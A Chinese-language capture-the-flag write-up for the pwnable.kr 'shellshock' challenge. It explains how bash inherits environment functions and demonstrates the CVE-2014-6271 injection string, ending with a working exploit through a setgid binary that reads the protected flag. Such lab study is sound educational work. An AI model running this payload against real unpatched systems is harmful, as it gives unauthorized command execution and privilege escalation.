pwnable.kr 之 shellshock

shellshock

什么是shellshock

bash 版本 <= 4.1

1、普通shell变量和bash

1
2
3
4
5
6
7
shellshock@pwnable:~$ gu="hacker"
shellshock@pwnable:~$ echo $gu
hacker
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ echo $gu

shellshock@pwnable:~$

从上述实验得出:bash子进程没有继承普通shell变量gu。

2、普通环境变量和bash

1
2
3
4
5
6
7
shellshock@pwnable:~$ echo $gu
hacker
shellshock@pwnable:~$ export gu
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ echo $gu
hacker
shellshock@pwnable:~$

从上述实验得出:bash子进程继承环境变量gu。

3、函数shell变量和bash

1
2
3
4
5
6
shellshock@pwnable:~$ gu() { echo "gu is a hacker";}
shellshock@pwnable:~$ gu
gu is a hacker
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ gu
gu: command not found

从上述实验中得出:bash子进程没有继承函数shell变量gu。

4、函数环境变量和bash

1
2
3
4
5
6
shellshock@pwnable:~$ gu
gu is a hacker
shellshock@pwnable:~$ export -f gu
shellshock@pwnable:~$ bash
shellshock@pwnable:~$ gu
gu is a hacker

从上述实验中我们得出:bash子进程继承函数环境变量gu。

5、

1
2
3
4
5
6
7
8
9
10
11
shellshock@pwnable:~$ ailx10='() { echo "ailx10 is a hacker";}'
shellshock@pwnable:~$ export ailx10
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ ailx10
ailx10 is a hacker
shellshock@pwnable:~$ env | grep ailx10
ailx10=() { echo "ailx10 is a hacker"
shellshock@pwnable:~$ exit
exit
shellshock@pwnable:~$ env | grep ailx10
ailx10=() { echo "ailx10 is a hacker";}

从上述实验得出:bash子进程误把普通环境变量(){ :; }当做函数环境变量处理了。

6、(){ :;}

1
2
3
4
shellshock@pwnable:~$ ailx10='() { :;};/bin/ls'
shellshock@pwnable:~$ export ailx10
shellshock@pwnable:~$ ./bash
bash flag shellshock shellshock.c

从上述实验中得出:bash子进程处理了/bin/ls

综上,触发bash漏洞可以归纳如下

1、产生新的bash

2、通过环境变量传递

3、环境变量以(){}这样的形式

如何用一条语句验证bash漏洞

1
2
3
4
5
shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"
vulnerable
this is a test
shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' ./bash -c :
vulnerable

env可以创建临时环境变量。

bash -c可以运行一个shell命令。

shellshock

回到题目上来

先试试有没有此漏洞

1
2
3
shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"
vulnerable
this is a test

显然是有的

直接cat flag是没有权限的

1
2
3
4
5
6
shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c

查看shellshock程序

1
2
3
4
5
6
7
8
shellshock@pwnable:~$ cat shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

这段程序很简单,我们以shellshock身份启动时,程序的权限是other权限r-x,而在setresuid和setresgid中使用effective gid,也就是shellshock_pwn的权限r-s,当程序执行到system时,程序已经具有shellshock_pwn组权限了。

这个组权限对于flag文件来说是可读的,但是问题是这段程序并没有涉及到对flag文件的读操作。

结合上述的bash漏洞

1
2
3
shellshock@pwnable:~$ env x='() { :;}; ./bash -c "cat ./flag"' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

./shellshock的时候拿到了shllshock_pwn的权限,而bash漏洞在此权限上执行了cat ./flag,这一拼接也就导致了提权后的为所欲为了。

0%